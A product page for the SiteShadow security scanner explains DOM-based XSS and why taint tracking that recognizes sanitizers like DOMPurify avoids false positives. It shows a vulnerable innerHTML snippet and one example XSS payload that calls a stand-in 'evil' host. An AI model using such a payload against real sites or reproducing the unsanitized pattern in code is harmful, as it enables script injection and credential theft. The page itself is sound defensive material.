XSS sanitizer recognition
Why pattern-only SAST flags DOMPurify as a false positive
DOM-based XSS lives where user input meets the document. The hard part isn't catching the vulnerable code,
it's staying quiet on the safe code. SiteShadow recognizes 30+ sanitizer patterns including DOMPurify,
element.textContent, and parameterized DOM construction, so the dangerous flow stands out
instead of drowning in noise.
The vulnerable flow
Here is the classic DOM-XSS pattern, the kind that appears in countless real-world bug reports:
// Vulnerable: search term flows from URL into innerHTML
const params = new URLSearchParams(window.location.search);
const searchTerm = params.get("q");
document.getElementById("results-heading").innerHTML =
`Results for: ${searchTerm}`;
The dangerous operation is on the last line:
.innerHTML = `Results for: ${searchTerm}`
The reason it's dangerous starts at the top:
params.get("q")
An attacker who controls ?q=<img src=x onerror=fetch('//evil')> turns the page into a credential-stealing surface.
What pattern-only SAST sees
A pattern rule can look for .innerHTML = with a template literal or string concatenation.
That catches the bug above. It also catches the fix below.
This is what most developers actually ship after a security review:
// Safe: same source and sink, but the path runs through DOMPurify
import DOMPurify from "dompurify";
const params = new URLSearchParams(window.location.search);
const searchTerm = params.get("q");
document.getElementById("results-heading").innerHTML =
DOMPurify.sanitize(`Results for: ${searchTerm}`);
To a pattern-only scanner, the second version still looks like
.innerHTML = `...${var}...` with user-controlled data in scope.
Same pattern. Same warning. Same noise on safe code.
Developers see the same finding on the version they just hardened, conclude the scanner is wrong, and either disable the rule or stop reading the output. The signal is gone.
What taint tracking does differently
Taint tracking follows the path between the source (params.get) and the sink
(.innerHTML). When the path passes through a recognized sanitizer
, DOMPurify.sanitize(), element.textContent, server-side
escapeHtml(), or any of the 30+ patterns SiteShadow ships with
, the taint is marked as cleared.
Result: the sanitized version is quiet. The unsanitized version still gets the finding it deserves. Developers can trust the output again because the scanner now agrees with how they actually wrote the fix.
The sanitizers SiteShadow recognizes
These show up in real codebases and SiteShadow recognizes each one explicitly. The list may lag major engine changes, if your codebase uses a sanitizer not on this list, treat it as unrecognized until tested.
- DOM sanitizers:
DOMPurify.sanitize(),element.textContent,document.createTextNode() - Server-side HTML escapers:
escapeHtml(),html.escape()(Python),htmlspecialchars()andhtmlentities()(PHP) - Type guards that reduce taint:
parseInt(),Number()on the safe path - Parameterization in adjacent contexts:
cursor.execute(sql, params)for SQL;shlex.quote()for shell
Coverage isn't infinite, framework-level auto-escape (React JSX expression children,
Vue text interpolation, Jinja2 default autoescape, Django
{{ var }} default) and schema validators (Zod, Joi, Yup)
are commonly safe but not yet explicitly recognized by the engine. If your codebase relies
on those, the scanner may flag them as it would unsanitized code; either teach the rule
library (Enterprise tier) or annotate the call site with
// siteshadow:ignore-next-line.
The cost of false positives is real
Studies of large engineering organizations consistently report that the practical ceiling on SAST adoption isn't false negatives, it's false positives. Once a tool flags a meaningful fraction of safe code as risky, developers stop reading the output. The remaining signal disappears with the noise.
Sanitizer recognition is the floor for a tool to stay credible. If a security scanner can't tell
that DOMPurify.sanitize() is doing its job, it's going to keep flagging the safest
XSS-prone code in the codebase, and that's exactly the code you want the scanner to leave alone.
Where SiteShadow fits
SiteShadow is built for developers who want security feedback inside their workflow. It combines taint tracking, regex security rules, heuristic flow checks, and AI/LLM rule families to surface real risks while the code is still fresh in the editor. The sanitizer recognition above is part of how SiteShadow separates unsafe flows from documented sanitizer evidence.
Sanitizer recognition is in the free tier (X01 XSS Risk Patterns), alongside the 22 other OWASP Top 10 pattern checks SiteShadow ships free. Self-serve sign-in with your work SSO.